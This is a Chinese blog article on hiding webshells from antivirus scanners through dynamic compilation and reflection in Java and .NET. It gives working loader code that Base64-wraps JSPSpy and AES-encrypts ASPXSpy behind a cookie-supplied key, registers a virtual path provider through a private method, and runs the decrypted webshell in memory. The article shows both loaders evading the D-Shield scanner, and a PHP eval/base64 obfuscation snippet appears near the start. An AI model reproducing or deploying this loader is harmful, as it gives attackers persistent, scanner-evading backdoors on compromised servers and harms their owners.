Evading Anti-Virus by Using Dynamic Code Generation and Reflection
0x0 前言
文章的标题定了好久,但是一直没动笔,几天前完成了 Java 实现部分,后来由于时(划)间(水)关系,今天克服下懒癌完成 .NET 平台部分。文章可能会比较长,算是抛砖引玉吧蛤蛤。(・∀・)
0x1 化静为动
在日常渗透测试中,由于目标主机上存在反病毒软件,Webshell 后门被删是一件非常蛋疼的事情。对于功能较为完善的 Webshell ,都包含大量的静态特征,通过静态规则可以很容易进行匹配。
对于解释性的脚本语言,通常是由脚本引擎在运行时进行动态解析,因此可以比较灵活对指令进行控制,包括使用 eval
等函数完成动态执行。
例如,在 世界上最好的语言 PHP 中,使用 eval
函数动态执行指令:
// echo "Execute on the fly :)";
$data = gzuncompress(base64_decode("eJxLTc7IV1ByrUhNLi1JVcjPUyjJSFVIy6lUsNJUsgYAlZ8JXg=="));
eval($data);
静态类型语言则不然,通常需要编译器在编译期完成类型检查,并生成对应的机器码。而由于后端语言的特殊性,Java、C# 等语言都提供了动态代码生成的功能。同时,通过语言的反射机制,我们可以将动态编译的代码加载到内存运行。
通过这两个特性,可以对静态类型语言进行变形、混淆、加密,并完成动态编译执行。
0x2 Java 篇
在 JDK 1.6 之前,动态代码生成使用 com.sun.tools.*
包来实现,但这个包并不是公开的 API。在 JDK 1.6 时,引入了标准化的包 javax.tools
,即 Java Compiler API,下面的 UML 图展示其中几个比较重要的接口和类:
Java 编译 API 中有四个重要的概念:Compiler、Diagnostic、FileObject 以及 FileManager。
1) 编译器
Compiler 即是对代码动态编译的实现(准确来说应该是对 javac 的一层封装),JDK 中提供默认了的 JavaCompiler 接口实现类,可以通过 ToolProvider
来获取编译接口实例:
JavaCompiler compiler = ToolProvider.getSystemJavaCompiler();
在使用 JRE 的环境下,该函数会返回 null
。
2) 诊断信息
Diagnostic 用于提供编译时产生的相关信息,例如编译错误、警告,包括对应的位置、行号、异常原因等。
3) 文件对象
FileObject 用于描述一个 Java 源码或者编译好的类,JDK 中虽然实现了 SimpleJavaFileObject
类,但并不直接使用,而是通过继承的方式由开发者实现具体的细节。
4) 文件管理器
FileManager 用于定义如何读取、存储文件对象。例如从本地磁盘读取,或者通过网络远程加载等等。通过 JDK 中默认实现的文件管理对象,可以对本地文件进行操作:
StandardFileManager fileManager = compiler.getStandardFileManager(null, null, null);
第一个参数为诊断信息回调接口,后面则为所操作文件的语言区域和编码参数,可以传入 null
来获取默认的配置。
StandardFileManager
提供四个便捷载入源文件的方式:
函数名 | 描述 |
---|---|
getJavaFileObjects(File… files) | Gets file objects representing the given files. |
getJavaFileObjects(String… names) | Gets file objects representing the given file names. |
getJavaFileObjectsFromFiles(Iterable<? extends File> files) |
Gets file objects representing the given files. |
getJavaFileObjectsFromStrings(Iterable<String> names) |
Gets file objects representing the given file names. |
其返回的类型都为 Iterable<? extends JavaFileObject>
。
0x2.1 简单的 run 函数
由于 JavaCompiler
实现了 Tool
接口,可以通过 run
函数来完成基础的动态代码编译:
public class SimpleRunCompiler {
public void compile(String filename) {
JavaCompiler compiler = ToolProvider.getSystemJavaCompiler();
int status = compiler.run(null, null, null, filename);
if (status == 0) {
System.out.println("Compile success!");
} else {
System.out.println("Compile failed!");
}
}
}
前三个参数分别是编译信息的输入、输出以及错误流,可以实现自己的流对象来完成重定向。最后指定一个要进行编译的源文件,返回值为 0 则代表编译成功。
测试类很简单,在控制台输出一条信息:
public class CompileMe {
public static void main(String[] args) {
System.out.println("Compiled on the fly :)");
}
}
实例化我们的实现类,对测试源码进行动态编译:
SimpleRunCompiler compiler = new SimpleRunCompiler();
compiler.compile("CompileMe.java");
动态编译后,会在同目录下生成编译好的 class 文件,运行测试:
0x2.2 编译任务
run
函数提供的接口非常方便,但无法完成复杂的编译需求,例如指定编译参数、获取结构化的编译信息等。而 JavaCompiler
中提供了 getTask
函数,可以通过传入自定义的编译配置,并获取一个编译任务 CompilationTask
。
由于提供了更细化的控制粒度,所以 getTask
相对来讲比较复杂:
JavaCompiler.CompilationTask getTask(Writer out,
JavaFileManager fileManager,
DiagnosticListener<? super JavaFileObject> diagnosticListener,
Iterable<String> options,
Iterable<String> classes,
Iterable<? extends JavaFileObject> compilationUnits)
- out 用于错误信息输出
- fileManager 文件管理对象,用于实现源文件的读取和编译后字节码类的存储
- diagnosticListener 调试信息回调函数,用于获取编译信息
- options 编译参数,和
javac
的编译参数一致 - classes 指定编译时
Annotation
由哪些类进行处理 - compilationUnits 被编译的源文件
关于 classes 参数中的 注解 Annotation ,是 Java 中的一种类型,可以通过注解向类或字段追加元信息,例如常见的 @Override
注解,标明该函数为重写父类函数:
@Override
public void run() {
}
编译器在编译时,会对注解进行处理,当然如果不是特殊的注解,我们可以将其交由编译默认进行处理,所以在调用 getTask
函数时,可以将其简单设置为 null
。
public class FileTaskCompiler {
public void compile(String filename) {
JavaCompiler compiler = ToolProvider.getSystemJavaCompiler();
DiagnosticCollector<JavaFileObject> diagnosticCollector = new DiagnosticCollector<JavaFileObject>();
StandardJavaFileManager fileManager = compiler.getStandardFileManager(diagnosticCollector, null, null);
Iterable javaFileObjects = fileManager.getJavaFileObjects(filename);
CompilationTask task = compiler.getTask(null, fileManager, diagnosticCollector, null, Arrays.asList("-d", "/tmp"),
javaFileObjects);
if (task.call()) {
System.out.println("Compile success!");
} else {
System.out.println("Compile failed!");
// Display the error informations
for (Diagnostic diagnostic:
diagnosticCollector.getDiagnostics()) {
System.out.println(diagnostic.getMessage(null));
System.out.println(diagnostic.getCode());
}
}
}
}
编译运行:
FileTaskCompiler compiler = new FileTaskCompiler();
compiler.compile("CompileMe.java");
0x2.3 内存编译
到目前为止,我们都是通过读取本地源文件的方式来进行编译。而更具诱惑性的,是完成内存编译。
在文档化的 API 中,并没有提供将字符串源码直接进行编译的接口,需要继承 SimpleJavaFileObject
类来描述源码对象:
public class StringJavaFileObject extends SimpleJavaFileObject {
private String code = null;
public StringJavaFileObject(String className) {
super(URI.create(String.format("string:///%s.java", className)), Kind.SOURCE);
}
public void setCode(String code) {
this.code = code;
}
@Override
public CharSequence getCharContent(boolean ignoreEncodingErrors) throws IOException {
return code;
}
}
值得注意的是传入给父类的 URI
对象,通过指定 string://
来告知编译对象:这是一个字符串类型的文件对象,并使用重写的 getCharContent
函数获取来源码内容。
构造文件对象并传入编译函数:
public class MemoryOutputTaskCompiler {
@Override
public void compile(String className) {
JavaCompiler compiler = ToolProvider.getSystemJavaCompiler();
JavaFileManager fileManager = compiler.getStandardFileManager(null,
null, null);
StringJavaFileObject sourceObject = new StringJavaFileObject(className);
sourceObject.setCode(
"public class " + className + " {" +
" public static void main(String[] var0) {" +
" System.out.println(\"Compiled on the fly :)\");" +
" }" +
"}");
JavaCompiler.CompilationTask task = compiler.getTask(null, fileManager, null,
null, null, Arrays.asList(sourceObject));
if (task.call()) {
System.out.println("Compile success!");
} else {
System.out.println("Compile failed!");
}
}
}
0x2.4 最终版本
在上个实现中,虽然源码的载入途径不同,但是编译后仍然会输出 class 文件到本地。为了进一步完善内存编译,我们再定一个文件类来存储字节码:
public class ClassJavaFileObject extends SimpleJavaFileObject {
private final ByteArrayOutputStream baos = new ByteArrayOutputStream();
public ClassJavaFileObject(String className) {
super(URI.create(String.format("bytes:///%s", className)), Kind.CLASS);
}
@Override
public OutputStream openOutputStream() throws IOException {
return baos;
}
public byte[] getBytes() {
return baos.toByteArray();
}
}
和 StringJavaFileObject
不同的是,这里使用 bytes://
前缀,来告知编译器使用 openOutputStream
函数来写入输出的 class 字节流。
接下来,我们需要将编译后的字节流进行重定向,将其存储到内存中。
而正如上面所说,文件的输入输出都是由 FileManager
来处理,所以我们需要实现自己的 FileManager
类。
然而,在 JDK 中并没有提供 StandardFileManager
的接口实现类 API,根据文档的描述,正确的做法是继承 ForwardingJavaFileManager
,并通过函数重写对默认的 FileManager
进行代理:
public class MemoryClassFileManager extends ForwardingJavaFileManager {
private ArrayList<ClassJavaFileObject> classes;
/**
* Creates a new instance of ForwardingJavaFileManager.
*
* @param fileManager delegate to this file manager
*/
public MemoryClassFileManager(JavaFileManager fileManager) {
super(fileManager);
classes = new ArrayList<>();
}
public ArrayList<ClassJavaFileObject> getClasses() {
return classes;
}
@Override
public JavaFileObject getJavaFileForOutput(Location location, String className,
JavaFileObject.Kind kind, FileObject sibling) throws IOException {
ClassJavaFileObject classJavaFileObject = new ClassJavaFileObject(className);
classes.add(classJavaFileObject);
return classJavaFileObject;
}
}
通过重写 getJavaFileForOutput
函数,我们可以对编译类的输出进行处理,在此我们通过一个列表对字节码进行存储。
最终实现代码如下:
public class MemoryTaskCompiler {
@Override
public void compile(String className) {
JavaCompiler compiler = ToolProvider.getSystemJavaCompiler();
// 使用自定义的 FileManager 来重定向输出
MemoryClassFileManager fileManager = new MemoryClassFileManager(compiler.getStandardFileManager(null,
null, null));
StringJavaFileObject sourceObject = new StringJavaFileObject(className);
sourceObject.setCode(
"public class " + className + " {" +
" public static void main(String[] args) {" +
" System.out.println(\"Compiled on the fly :)\");" +
" }" +
"}");
JavaCompiler.CompilationTask task = compiler.getTask(null, fileManager, null,
null, null, Arrays.asList(sourceObject));
if (task.call()) {
System.out.println("Compile success!");
} else {
System.out.println("Compile failed!");
}
}
}
在这次的动态编译中,字节码成功存留在内存中。
0x2.5 ClassLoader
在最终版本中,我们将编译的类字节码存储于内存中。而真正将内存中的字节码运行起来,需要先将其解析成类对象,因此有必要了解一下 ClassLoader
机制。
JDK 中实现的三个类加载器:BootstrapClassLoader
、ExtClassLoader
和 AppClasLoader
。
BootstrapClassLoader
作为最底层的类加载器,使用本地代码进行实现,负责加在最基础的类库,通常位于 $JAVA_HOME/jre/lib/
下。
ExtClassLoader
则负责加载扩展的核心库,通常位于 $JAVA_HOME/jre/lib/ext
下。
最后,AppClasLoader
负责加载 CLASSPATH
变量中指定的类库,包括一般的应用类。
在这三个类加载器中,存在自顶向下的关系。最顶层的 BootstrapClassLoader
,到最底层的 AppClasLoader
。当类需要进行实例化时,会通过最底层的父对象引用进行索引,优先使用最顶层的加载器(即 BootstrapClassLoader
)进行加载。
而当父加载器无法加载对应的类时,再通过 findClass
方法交由下一层的子加载器进行加载。所以在自定义 ClassLoader
时,可以通过重写 findClass
方法,并调用 defineClass
函数传入字节流,完成类对象解析。
public class MemoryClassLoader extends ClassLoader {
private MemoryClassFileManager classFileManager;
public MemoryClassLoader(MemoryClassFileManager classFileManager) {
super(MemoryClassLoader.class.getClassLoader());
this.classFileManager = classFileManager;
}
@Override
protected Class<?> findClass(String name) throws ClassNotFoundException {
for (ClassJavaFileObject classObject:
classFileManager.getClasses()) {
// 这里的类名通过 / 开头,所以需要跳过该前缀
if (classObject.getName().substring(1).equals(name)) {
byte[] bytes = classObject.getBytes();
return defineClass(name, bytes, 0, bytes.length);
}
}
return null;
}
}
0x2.6 反射
在完成类解析之后,最后是对动态编译的类进行实例化,并调用对应的函数进行运行,这里需要用到反射的机制:
public void runInMemory(MemoryClassFileManager fileManager, String className) {
Class clazz = null;
// 使用自定义的 ClassLoader 来加在类对象
MemoryClassLoader loader = new MemoryClassLoader(fileManager);
try {
clazz = loader.loadClass(className);
Method entryMethod = clazz.getMethod("main", new Class[] { String[].class });
Object instance = clazz.newInstance();
String[] params = { null };
entryMethod.invoke(instance, params);
} catch (ClassNotFoundException e) {
e.printStackTrace();
} catch (NoSuchMethodException e) {
e.printStackTrace();
} catch (IllegalAccessException e) {
e.printStackTrace();
} catch (InstantiationException e) {
e.printStackTrace();
} catch (InvocationTargetException e) {
e.printStackTrace();
}
}
0x3 养兵千日,用兵一时
在完成动态代码执行后,我们可以来完成一些实际化的操作。对于总体上的动态加载器设计,划分为三个部分:
其中 Encoder 和 Decoder 可以划分为同个部分,混淆代码在经过解码后,在内存中进行动态编译,并交由加载器解析运行。
在这里,笔者使用宇宙超级无敌的 JSPSpy,通过上述的结构,对其进行混淆。
首先要对 JSPSpy 源码进行整理。由于作者在开发时使用非常结构化的方式组织,所以在调整时非常简单:
对于原有的类,保持不变。而存在于 Servlet
生命周期函数中的代码片段,则使用一个新的类将其封装起来,同时由于 Servlet
中存在 out
、request
、response
等 “全局” 变量,在构造时需要对这些变量进行引用:
之后,对源文件进行简单的 Base64 编码,并作为字符串传入到加载器中:
由于类中引用了 javax.servlet.*
包,因此在动态编译时,需要指定 servlet-api.jar
包的路径,这个可以通过遍历 ClassLoader
来获取:
StringBuilder pathBuilder = new StringBuilder();
ClassLoader loader = getClass().getClassLoader();
while (loader != null) {
URL[] urls = ((URLClassLoader) loader).getURLs();
for(URL url: urls){
// 注意 Windows 则使用分号进行分割
pathBuilder.append(url.getPath() + ":");
}
loader = loader.getParent();
}
上传到 Web 目录执行,熟悉的界面出现了:
使用新版的 D 盾进行查杀:
Awesome! :-)
0x4 .NET 篇
原计划将 .NET 平台的实现作为开场篇,但在调试时出现了比预期多的坑。
在 .NET 中,动态代码生成的实现称为 代码文档对象模型(Code Document Object Model,CodeDOM,好见鬼的翻译)。在 CodeDOM 中,被构建的代码称为 CodeDOM graphs
,代码视图是独立于语言的实现,最终通过 System.CodeDom.Compiler
下的编译器转换为目标语言。
.NET 中提供了三个编译器实现:CSharpCodeProvider
,JScriptCodeProvider
以及 VBCodeProvider
。
CodeDomProvider
提供了直接编译字符串形式源码的接口,实现起来比较方便:
static void Main(string[] args)
{
CSharpCodeProvider provider = new CSharpCodeProvider();
CompilerParameters parameters = new CompilerParameters();
parameters.GenerateExecutable = false;
parameters.GenerateInMemory = true;
parameters.ReferencedAssemblies.Add("System.dll");
CompilerResults result = provider.CompileAssemblyFromSource(parameters,
@"using System;
namespace Demo
{
public class DemoClass
{
public static string Greet()
{
return ""Compiled on the fly :)"";
}
}
}");
Assembly assembly = result.CompiledAssembly;
var Ret = (string) assembly.GetType("Demo.DemoClass").InvokeMember("Greet", BindingFlags.Public |
BindingFlags.Static | BindingFlags.InvokeMethod,
null, null, null);
Console.WriteLine(Ret);
Console.ReadKey();
}
运行:
看似实现起来比 Java 方便挺多,但要完成编译 ASPX 文件,还需要做进一步的处理。在 ASPX 中,除了内嵌的代码,还有 HTML、CSS 等语句,而单单通过 CSharpCodeProvider
并无法完成后面这些解析。
考虑到使用动态输出 HTML 部分,但是 ASPX 中还有一种特(蛋)殊(疼)的标签:
<asp:Button ID="btnClickMe" Text="Button" runat="server" />
这类标记于 runat="server"
的标签,同样需要在服务器上完成解析编译,因此单纯使用 Response.Write
输出还需要实现复杂的处理。
0x4.1 ASP.NET 应用程序和 Page 生命周期
在 ASP.NET 生命周期中,当 IIS 接收到请求后,通过后缀映射载入对应的 ASP.NET 解析库。之后,托管代码开始构建整个 Web 请求,并找到对应的模块进行处理,这些模块必须实现 IHttpHandler
接口,以提供 ProcessRequest
的函数接口。
在程序寻找对应的处理模块时,如果被匹配到的是一个 ASPX 文件,则该文件会被动态编译成独立的 DLL 文件,并存放于 C:\Windows\Microsoft.NET\Framework64\<version>\Temporary ASP.NET Files
下。
实际上,每个从 ASPX 中生成的类均继承自 System.Web.UI.Page
类。而 Page
则类实现了 IHttpHandler
接口,并在函数 ProcessRequest
中完成了整个 页面的生命周期处理。
被动态解析的 ASPX 对应的类:
最后,托管代码通过实例化对应的 Page
子类,调用ProcessRequest
完成请求处理,并将输出结果反馈给客户端。
0x4.2 预编译与输出覆盖
ASPX 的动态编译,是通过 System.Web.Compilation.BuildManager
类来实现的。该类其实是对 CodeDOM 模型的封装,同时加入 ASPX 页面的解析支持。
在 example.aspx
中,动态构建一个 dynamic.aspx
页面:
public void Page_Load()
{
Page page = (Page) BuildManager.CreateInstanceFromVirtualPath("~/dynamic.aspx", typeof(Page));
// 将请求交由动态页面处理
page.ProcessRequest(HttpContext.Current);
}
protected override void Render(HtmlTextWriter writer)
{
// 重载 Render 函数,不输出当前 ASPX 文件页面内容
}
当访问 example.aspx
页面时,实际上被覆盖为 dynamic.aspx
页面的内容:
0x4.3 虚拟文件
但是通过 BuildManager
提供的 API,如果真的需要从磁盘上载入我们的源码,这明显有点鸡肋。但是有趣的是,ASP.NET 提供了一种 虚拟文件 实现。
通过实现并注册一个 VirtualPathProvider
,可以通过 ASP.NET
内置的虚拟路径机制来加载特定文件。这个文件可以存在于数据库中,也可以在远程服务器中,具体的操作需要继承VirtualPathProvider
来完成,对于读取虚拟文件,至少需要实现 GetFile
和 FileExists
两个函数:
public class DeferredPathProvider : VirtualPathProvider
{
public DeferredPathProvider() : base()
{
}
public bool IsTargetVirtualPath(string virtualPath)
{
string path = VirtualPathUtility.ToAppRelative(virtualPath);
return path.StartsWith("~/deferred", StringComparison.InvariantCultureIgnoreCase);
}
public override VirtualFile GetFile(string virtualPath)
{
// 通过匹配路径,决定是否对文件进行处理
if (IsTargetVirtualPath(virtualPath))
{
return new DeferredVirtualFile(virtualPath);
}
// 交由下一个 VirtualPathProvider 进行处理
else
{
return Previous.GetFile(virtualPath);
}
}
public override bool FileExists(string virtualPath)
{
return IsTargetVirtualPath(virtualPath) ? true : Previous.FileExists(virtualPath);
}
}
接下来,继承 VirtualPath
类,完成文件流的具体实现:
public class DeferredVirtualFile : VirtualFile
{
public DeferredVirtualFile(string virtualFile) : base(virtualFile)
{
}
public override Stream Open()
{
Stream stream = new MemoryStream();
StreamWriter writer = new StreamWriter(stream);
writer.Write("<%@ Page Language=\"C#\" AutoEventWireup=\"true\" %>\r\n" +
"<% Response.Write(\"Compiled on the fly :)\"); %>");
writer.Flush();
// Reset the memory pointer
stream.Seek(0, SeekOrigin.Begin);
return stream;
}
}
最后,在相同页面中,对 VirtualPathProvider
进行注册:
public void Page_Load()
{
DeferredPathProvider provider = new DeferredPathProvider();
// 注册文件提供者
typeof(HostingEnvironment).GetMethod("RegisterVirtualPathProviderInternal",
BindingFlags.Static | BindingFlags.InvokeMethod | BindingFlags.NonPublic)
.Invoke(null, new object[] { provider });
// ~/deferred.aspx 为虚拟文件,并不存在于磁盘
handler = (Page) BuildManager.CreateInstanceFromVirtualPath("~/deferred.aspx", typeof(Page));
handler.ProcessRequest(HttpContext.Current);
}
0x5 Talk is cheap, show me the code
毫无疑问,在这次实践中,我们对 Webshell 三剑客之一的 ASPXSpy 进行混淆(跪舔 bin 牛 :-D)。不过相对于简单的 Base64,这次使用 AES-256 作为 Decoder,密码存放于 Cookies 中,最终将源码解密并进行动态编译执行:
<%@ Page Language="C#" AutoEventWireup="true" validateRequest="false" EnableViewStateMac="false" %>
<%@ Import Namespace="System.Web.Hosting" %>
<%@ Import Namespace="System.Web.Compilation" %>
<%@ Import Namespace="System.IO" %>
<%@ Import Namespace="System.Reflection" %>
<%@ Import Namespace="System.Security.Cryptography" %>
<script runat="server">
public class Decoder
{
public static string Decode(string data, string password)
{
string Ret = null;
var bytes = Convert.FromBase64String(data);
var salt = Encoding.Default.GetBytes("GuessMe :)");
using (MemoryStream stream = new MemoryStream())
using (RijndaelManaged aes = new RijndaelManaged())
{
var key = new Rfc2898DeriveBytes(password, salt);
aes.Mode = CipherMode.CBC;
aes.Key = key.GetBytes(aes.KeySize / 8);
aes.IV = key.GetBytes(aes.BlockSize / 8);
using (CryptoStream cs = new CryptoStream(stream, aes.CreateDecryptor(), CryptoStreamMode.Write))
{
cs.Write(bytes, 0, bytes.Length);
cs.FlushFinalBlock();
}
Ret = Encoding.UTF8.GetString(stream.ToArray());
}
return Ret;
}
}
public class DeferredPathProvider : VirtualPathProvider
{
public string Password = null;
public DeferredPathProvider() : base()
{
}
public bool IsTargetVirtualPath(string virtualPath)
{
string path = VirtualPathUtility.ToAppRelative(virtualPath);
return path.StartsWith("~/deferred", StringComparison.InvariantCultureIgnoreCase);
}
public override VirtualFile GetFile(string virtualPath)
{
if (IsTargetVirtualPath(virtualPath))
{
return new DeferredVirtualFile(this, virtualPath);
}
else
{
return Previous.GetFile(virtualPath);
}
}
public override bool FileExists(string virtualPath)
{
return IsTargetVirtualPath(virtualPath) ? true : Previous.FileExists(virtualPath);
}
}
public class DeferredVirtualFile : VirtualFile
{
DeferredPathProvider provider = null;
public DeferredVirtualFile(DeferredPathProvider provider, string virtualFile) : base(virtualFile)
{
this.provider = provider;
}
public override Stream Open()
{
Stream stream = new MemoryStream();
StreamWriter writer = new StreamWriter(stream);
// Replace encrypted data here :-)
writer.Write(Decoder.Decode(<encrypted_to_base64_string>, provider.Password));
writer.Flush();
// Reset the memory pointer
stream.Seek(0, SeekOrigin.Begin);
return stream;
}
}
private Page handler = null;
public void Page_Load()
{
DeferredPathProvider provider = new DeferredPathProvider();
provider.Password = Request.Cookies["Secret"].Value;
typeof(HostingEnvironment).GetMethod("RegisterVirtualPathProviderInternal",
BindingFlags.Static | BindingFlags.InvokeMethod | BindingFlags.NonPublic)
.Invoke(null, new object[] { provider });
handler = (Page) BuildManager.CreateInstanceFromVirtualPath("~/deferred.aspx", typeof(Page));
handler.ProcessRequest(HttpContext.Current);
}
protected override void Render(HtmlTextWriter writer)
{
}
</script>
在头部的 @Page
指令中,需要指定 ValidateRequest
和 EnableViewStateMac
两个属性。这是由于 ViewState
是交由 ASPXSpy 处理,因此在传入加载器页面时会出现异常问题。
运行,手动加入 Secret 字段到 Cookie 中:
宇宙无敌 D 盾查杀:
其中 AspxSpy2014Final.aspx
为原始文件。
0x6 最后
其实在动态加载器固定之后,明显很容易被特征化。但是进一步的,还可以通过反射对加载器代码本身进行混淆,最终猥琐的实现方式还是挺多 :-D。
而较为遗憾的是没有在 .NET 平台上实现完全内存编译执行,最终会在临时目录下产生编译文件。一方面是自己太菜了,另一方面则是较为复杂的页面解析,单独分离具体的编译实现可能需要更多的时间,剩下的就是留给师傅们更多的想象力了 ;-)。